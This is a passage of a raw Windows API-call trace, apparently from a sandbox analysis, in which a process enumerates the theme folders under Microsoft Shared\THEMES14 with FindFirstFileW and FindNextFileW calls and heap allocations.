[0220.778] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.779] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.779] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.779] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.779] GetProcessHeap () returned 0x560000 [0220.779] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.779] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0220.780] GetProcessHeap () returned 0x560000 [0220.780] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.780] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.780] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0220.780] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0220.781] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.781] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.781] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.781] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.781] GetProcessHeap () returned 0x560000 [0220.782] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.782] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0220.782] GetProcessHeap () returned 0x560000 [0220.782] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.782] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.783] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.783] GetProcessHeap () returned 0x560000 [0220.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.783] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.783] GetProcessHeap () returned 0x560000 [0220.784] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.784] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.784] GetProcessHeap () returned 0x560000 [0220.784] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.785] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0220.785] GetProcessHeap () returned 0x560000 [0220.785] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.054] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.054] GetProcessHeap () returned 0x560000 [0221.054] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.055] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.055] GetProcessHeap () returned 0x560000 [0221.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.055] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.055] GetProcessHeap () returned 0x560000 [0221.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.056] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.056] GetProcessHeap () returned 0x560000 [0221.056] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.057] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.057] GetProcessHeap () returned 0x560000 [0221.057] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.057] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.058] GetProcessHeap () returned 0x560000 [0221.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.058] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.059] GetProcessHeap () returned 0x560000 [0221.059] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.300] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.301] GetProcessHeap () returned 0x560000 [0221.301] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.301] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.302] GetProcessHeap () returned 0x560000 [0221.302] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.612] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.612] GetProcessHeap () returned 0x560000 [0221.612] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0221.613] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0221.613] GetProcessHeap () returned 0x560000 [0221.613] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0221.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.074] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.074] GetProcessHeap () returned 0x560000 [0222.075] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.075] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.075] GetProcessHeap () returned 0x560000 [0222.075] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.076] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.076] GetProcessHeap () returned 0x560000 [0222.076] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.076] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.076] GetProcessHeap () returned 0x560000 [0222.076] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.077] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.077] GetProcessHeap () returned 0x560000 [0222.077] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0222.078] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0222.078] GetProcessHeap () returned 0x560000 [0222.078] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0222.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program 